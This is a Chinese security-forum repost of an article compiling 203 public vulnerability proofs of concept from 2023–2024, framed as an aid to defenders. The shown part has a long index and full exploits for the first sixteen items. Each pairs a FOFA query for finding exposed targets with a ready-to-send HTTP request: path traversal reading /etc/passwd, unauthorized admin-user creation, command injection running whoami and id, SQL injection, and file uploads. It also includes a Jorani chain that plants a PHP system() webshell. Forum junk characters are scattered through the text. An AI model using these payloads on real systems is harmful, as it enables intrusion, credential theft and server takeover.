中国网络渗透测试联盟

标题: 互联网公开漏洞整理202309-202406--转载 [打印本页]

---

作者: admin    时间: 2024-6-5 14:31
标题: 互联网公开漏洞整理202309-202406--转载
互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

' U- s4 Y/ i! ?; z  P) [* E7 X漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
; ?9 w% ~7 i  a' \
/ k( k" `& l8 p- J' F! V安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

/ o8 P3 H7 c( i; n文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
4 r! Q; f6 \0 H7 ?: ~% ?/ U4 C7 ?
3 V2 j  ^! V) u$ b, f! w: W合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
: c5 O$ H5 U; l# w0 M8 S

# E4 H: H5 ]0 x8 E声明

5 p5 s& {7 f: ^  E6 }$ A7 t1 x为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
* k" R+ n8 A4 t. U1 M1 Y. C

( V( R5 S' [3 J- m. k/ G0 s
# F# p- ^: F: Z0 c目录
1 B' A  P, J+ L( z, T5 B, N5 v
01

3 \1 [7 R. l# |  l8 l1. StarRocks MPP数据库未授权访问
+ h# n6 V$ D2 X* p2 ^7 @2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
5 c5 A( r  V2 H4. EasyCVR视频管理平台存在任意用户添加
* E2 `& w$ |- V4 S7 g5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
! h* Z9 v. ]& E7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 B1 t  u# Y1 A& ]- Q) l11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
1 U3 \4 a7 j. S1 d. _1 z8 U12. Jorani < 1.0.2 远程命令执行
& ]  X4 l, g6 ~% |# J$ d13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
% p0 D! G7 ~5 o5 a. B: C15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
/ w1 X9 r9 W/ Z: J8 t21. 大华ICC智能物联综合管理平台random远程代码执行
  e* i: P) T+ f1 x0 i22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
+ c3 U( a. M! U* ~4 l6 z; h24. 用友NC 6.5 accept.jsp任意文件上传
& B7 F% c; R* I( X* W$ l6 a' n! S! W25. 用友NC registerServlet JNDI 远程代码执行
8 `' M1 u. s8 ~9 K& O* v26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
/ e$ V% _$ D- _29. 用友NC down/bill SQL注入
1 |6 z1 C. T& w4 v( }30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
: f9 a4 o+ }) k* B" e32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
! s) |& ?) \/ t9 a36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
' G0 E$ E# r5 T4 ~$ P* }38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
1 ?9 J7 r6 ?% C, {- X42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
. o" f$ O$ U9 P' P44. 用友GRP-U8 bx_dj_check.jsp SQL注入
; X  Q" U7 p2 [0 j! \3 E8 q45. 用友GRP-U8 ufgovbank XXE
* a. R0 m& M5 L) q" H- T46. 用友GRP-U8 sqcxIndex.jsp SQL注入
8 |7 r3 H5 p8 E47. 用友GRP A++Cloud 政府财务云 任意文件读取
' @5 I$ @4 t4 k+ R4 w  U48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
8 A: m$ M6 F+ F; t) a50. QDocs Smart School 6.4.1 filterRecords SQL注入
1 j4 J3 A' s: ~- k51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
- }7 Z( L; L+ v# G' `$ H52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
& t0 Y) x% d* t0 E55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
# Y2 K# o- q) i6 d$ p) ~' P57. 畅捷通T+ keyEdit.aspx SQL注入
4 V3 F/ s3 n. y% P3 W2 A58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
0 @& A4 X% c, Q63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
! }  ^7 F4 t* z# O/ s66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
% W4 l/ r2 f7 ~' v0 _# d+ {73. GeoServer wms远程代码执行
" u0 R" m8 E' A  G* }0 I! x74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
0 E8 F7 G# q3 T  B7 x1 l9 @77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
& L, y$ l  Z% O3 w0 P5 Y. k8 U79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
0 K! |1 R8 p/ R+ ?5 `; K- g& {8 Z1 j82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
5 x3 e! ]/ ?% h5 s  g& ^+ }0 H/ `! ^85. SysAid On-premise< 23.3.36远程代码执行
9 ~+ B& M1 K5 ~- ~4 `: }/ s" f86. 日本tosei自助洗衣机RCE
' n' R1 B( Q- B5 y+ e+ \% b87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ D8 }/ ?7 `) O2 Z94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
! R$ s( g# {9 f, @96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
% I- {" b1 L# L& R; L; \0 u: o98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 P+ D7 G0 _3 q; f: E5 D101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
9 \  N" `3 |5 `104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 {9 Y* N3 T0 x9 H; l1 P5 R1 k105. SpringBlade v3.2.0 export-user SQL 注入
1 P7 t* T# i, Q% H; @106. SpringBlade dict-biz/list SQL 注入
+ H" ~) D' g% C* s$ L107. SpringBlade tenant/list SQL 注入
; k+ S* Z" S; g" N1 ], ?108. D-Tale 3.9.0 SSRF
# d8 b' h; l% ~109. Jenkins CLI 任意文件读取
  I- b6 G( P" Y& g2 d% e110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
: I& W6 X& ?' j/ q% ?9 h113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
' O2 N& b, u$ G; z. o; g1 d115. WordPress Bricks Builder <= 1.9.6 RCE
+ F+ i: r) w' V1 k; n116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
+ q" b) C( d- _2 |0 J% S7 j5 h4 F% t119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
! A+ p/ `" `! f* F8 ?1 ]121. 北京百绰智能S42管理平台userattestation.php任意文件上传
4 b; ?( I/ }5 _/ p% C! G, |122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
. Q' o6 h3 m3 K  D124. 湖南建研工程质量检测系统任意文件上传
$ q. {$ e4 {, d/ l" [125. ConnectWise ScreenConnect身份验证绕过
2 d* j/ d$ a$ I126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
9 `% E, M  \$ z( {) O" w" Y5 x130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
2 [* T7 C, V/ }% \, ~# |132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
4 H+ s0 I+ s* k; E" v133. H5 云商城 file.php 文件上传
6 g7 O8 k  m+ _1 }3 [9 p134. 网康NS-ASG应用安全网关index.php sql注入
4 S- n( j# T( g7 A; m5 d0 @135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
- o- G5 g( L* M136. NextChat cors SSRF
* z2 k! R+ I" O" F137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
8 a+ f* n2 T, v) f- L139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ Z5 U; k  Y3 x* L/ Q- l140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 \4 ]" G% ]$ E146. MajorDoMo thumb.php 未授权远程代码执行
6 |6 |3 V' H$ i1 q  \147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 o; ^) [4 U6 a3 d+ a  Z148. CrushFTP 认证绕过模板注入
" q- A6 [' ^  `1 Y. d# H, _& Y5 X% S) _149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
1 R( Q; i& I6 O/ }/ D& O4 s6 f: O( g151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
: n1 y) o* \. \$ N% C5 b2 I153. gradio任意文件读取
& s( k. a0 V3 M0 S0 |- G$ |/ o+ p154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
; [! k2 |4 W+ _& D157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
; n. l: O3 E& P9 Q7 q( p+ T159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
7 K0 d% {9 d) H, s( ^* K  m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
% H+ y$ E9 @0 n4 Y7 y5 N162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
3 F0 a( R" Z" G6 q  v4 D: I1 h165. OrangeHRM 3.3.3 SQL 注入
6 }' N/ P+ r, k; \166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
* |2 R9 K5 H+ u1 {$ d* W. v' ^168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
6 ?& I0 r4 a0 D1 L8 [! P171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
) b. g: a% C4 Q0 N0 u9 q  r174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
/ u9 j3 b5 f+ F5 d) x176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; h1 o0 x8 g# p+ D- Q3 L- g. [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
. C6 V6 C% X' b8 T) @, |, l' {; q% b185. 瑞友天翼应用虚拟化系统SQL注入
) j9 g3 J! c. m/ K' ]% J8 O186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
) C: ?$ F4 E8 d- d7 W190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
. }& J) c# o) p4 v. n3 u' s197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
* ~; Z, A1 J: N8 k9 T198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

7 o8 R! W' A" [9 uPOC列表
8 [8 w* u3 J  b
02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
6 f) x( ~" ~+ U/ m+ m! OGET /mem_tracker HTTP/1.1
Host: URL

! a2 z2 ^% Z' ^, j- y
2. Casdoor系统static任意文件读取
- N' Z" Z& H8 ~+ \, dFOFA ：title="Casdoor"
$ b) W, x. d. [4 s' H2 x/ aGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
( W+ n: Z8 b, ?3 ?; NAccept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
1 V% \8 R- @8 N5 a# ?+ Z3 y% pGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
  L7 c  o7 E* ^9 M, lHost: xx.xx.xx.xx
2 _4 T8 x0 F; E. G# h1 k' @
  e: y; D8 L; Y& }" Q' ?8 m/ L
4. EasyCVR视频管理平台存在任意用户添加
. T  }3 g4 s8 J* X$ a- [. f; sFOFA ：title="EasyCVR"

2 a1 B& \; ?% ^1 W  A+ N' ~) epassword更改为自己的密码md5
7 V* `" F  c' H/ }POST /api/v1/adduser HTTP/1.1
Host: your-ip
. V( J, z% C8 a2 ^0 }/ S1 CContent-Type: application/x-www-form-urlencoded; charset=UTF-8
, D0 I& g  n) r7 z2 v8 J$ u
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

' O" I. }% U1 d" w
7 Q8 a8 X  r; }4 K6 f% h5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
! T2 w. P( k) N7 g6 mGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
, h7 |* ~( k' t( h4 ^7 ?Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
2 X. d- P  `7 a2 NGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
& r) Z) A# _8 D) k5 X1 }+ E! b& P
' ]. K3 M0 ?$ t0 d4 }/ t
) i8 E, e2 B" i; H7. 鸿运主动安全监控云平台任意文件下载
; }  ~0 ]1 `' p8 k! `FOFA：body="./open/webApi.html"
; h/ x7 h! y0 G, G4 B$ x7 MGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
; S& X" J9 w  Y( a. F( P( g

4 l4 k+ ?1 r: l8 }8 L8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
- r0 U$ {# Q. A  F默认账号admin登录后台后，执行操作
. w& Z6 v0 d- o0 APOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
  X8 l3 e9 K+ V5 C, b2 CHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
7 P- p' R5 \( x* rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 p5 G# S' ^! B. o' D
------WebKitFormBoundaryxbgjoytz
+ {. ~3 H' M. P' ?% lContent-Disposition: form-data; name="wifiRebootEnablestatus"
  E+ A5 M. x  @0 e  M
%s
------WebKitFormBoundaryxbgjoytz
1 k) h: ?/ M' UContent-Disposition: form-data; name="wifiRebootrange"
0 Y5 Y" Q) k9 }- i
7 ~8 S5 ]  S$ o0 r1 y. e' Y4 [12:00; id;
------WebKitFormBoundaryxbgjoytz
* \) O. F$ ?1 E; K1 a: xContent-Disposition: form-data; name="wifiRebootendrange"

1 J; \( H; k) d" b%s:
# r& C( o- E& y# v% a------WebKitFormBoundaryxbgjoytz
5 b  ]- C% i' Z9 f1 m: `Content-Disposition: form-data; name="cururl2"

. ^# x( M8 W: w6 s6 x* `( z) V' X: y  i
------WebKitFormBoundaryxbgjoytz--

4 E- |( @3 N" G% `
3 m8 Y* g, d; i4 P" K9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
. O  R. k, |% y- H

4 [1 L8 I* n: `# _" ]6 T6 o+ xpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
& ?4 C* g( V- D7 {( F
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
3 I1 D; S3 G& ~. YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
+ T. c1 i. ?/ T! \5 L4 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
( ]' Y% m% E5 J+ r# ?& Y; gAccept-Encoding: gzip, deflate
9 N3 C) x! |. w& G& C: ]Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

: ]) |6 r6 `' P# u! Y: Y3 n------WebKitFormBoundaryxdgaqmqu
# X) s: q; _) G7 fContent-Disposition: form-data; name="file"filename="icfitnya.txt"
. y* |) a' M* [9 V: T& c8 XContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
" R& A# V( Y0 [" E; l3 w% L

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
' E9 i; i" C8 I" Z- H. r$ e& _- O& FGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
/ ~5 G* d: j: L/ ~* R: \Pragma: no-cache
Cache-Control: no-cache
+ M& R+ T: Y( x& h) r- NUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ w3 d4 H5 e( ^- WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) f  c1 @3 g6 Q, E. }1 L$ LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
' H, w4 I" L3 R* E9 D8 F% B3 T4 q2 CConnection: close

/ e# i" G) N- [& ?% G
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
8 Y2 k* j0 x9 q) D9 m  WGET /session/login HTTP/1.1
' z( x; D: [3 G3 L# Z  ~Host: 192.168.190.30
- h2 y7 S7 I! M; ?! OUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 j2 H1 G, s; u0 d! W3 u) qConnection: close
/ C3 b3 }6 B, P0 g# F% uAccept-Encoding: gzip
+ [8 }8 B0 A! e# `9 z

3 Y' X+ C3 F- x) [; w: T7 d1 d响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
3 h& p" C6 `9 A7 t0 P, C3 \8 yConnection: close
1 z0 |: j3 e2 pCache-Control: no-store, no-cache, must-revalidate
9 J; m; x7 S& ]" sContent-Type: text/html; charset=UTF-8
) q, x& T+ F+ mDate: Tue, 24 Oct 2023 09:34:28 GMT
3 [! G3 u, R4 @Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
4 S1 w" v3 B4 O3 r7 k: I8 wPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
& l# o( \5 j1 @* Q5 |Vary: Accept-Encoding

' P, n; R* y& a% }
. p% R8 B% l* x/ t+ l* _/ qPOST请求，执行函数并进行base64编码
$ d# K( Q& @# y" C4 s; x5 xPOST /session/login HTTP/1.1
Host: 192.168.190.30
) u$ }; _6 j- CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
/ S# n1 W2 T* g5 e' gContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; l1 `& G% j. JAccept-Encoding: gzip

, A# v! {7 a4 O) q; [/ Ycsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


/ _: H4 `* @4 G
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
! s9 i, C% ~0 C" {+ u. t* }% }GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. p: n/ B$ O( `1 c' fConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
3 d1 g; e% P4 U8 h7 p1 PAccept-Encoding: gzip


1 ~+ S$ G' A, x13. 红帆iOffice ioFileDown任意文件读取
+ K; M  u- T* q$ HFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
5 [& I0 y9 j3 V( X1 NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 S- R% f1 ?: m& Y/ [; P2 Z$ SConnection: close
Accept: */*
Accept-Encoding: gzip
0 `* i' q; X; i+ u/ ^
7 A$ P+ y3 o7 n
14. 华夏ERP（jshERP）敏感信息泄露
7 [3 w2 B8 [- p  ]6 CFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
# b  {9 ?5 s( }7 vHost: x.x.x.x
$ R# @. H& d$ _( FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
$ R! l, k" c% k$ H: B! @Connection: close
0 @# K5 n' n( o5 O) i" rAccept: */*
Accept-Language: en
9 Q, c6 L* @: t, cAccept-Encoding: gzip


, k/ d* }" L. G% p" U/ K15. 华夏ERP getAllList信息泄露
" d9 Z+ q6 K5 ]6 \+ pCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
4 i1 n) ~9 `6 S# U( OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
7 o* j3 P: j& k* @3 E8 MAccept-Language: en
sec-ch-ua-platform: Windows
  _" K* B7 p7 }* p* e- h9 sAccept-Encoding: gzip
* Z- M. O8 \5 C  a

16.  红帆HFOffice医微云SQL注入
! t( |+ n; l/ c' gFOFA：title="HFOffice"
7 X- y" y" ^+ x2 l. _2 l( O. J- A& [poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
/ X$ g) R; [" P- m* ]+ h! {& C+ NHost: x.x.x.x
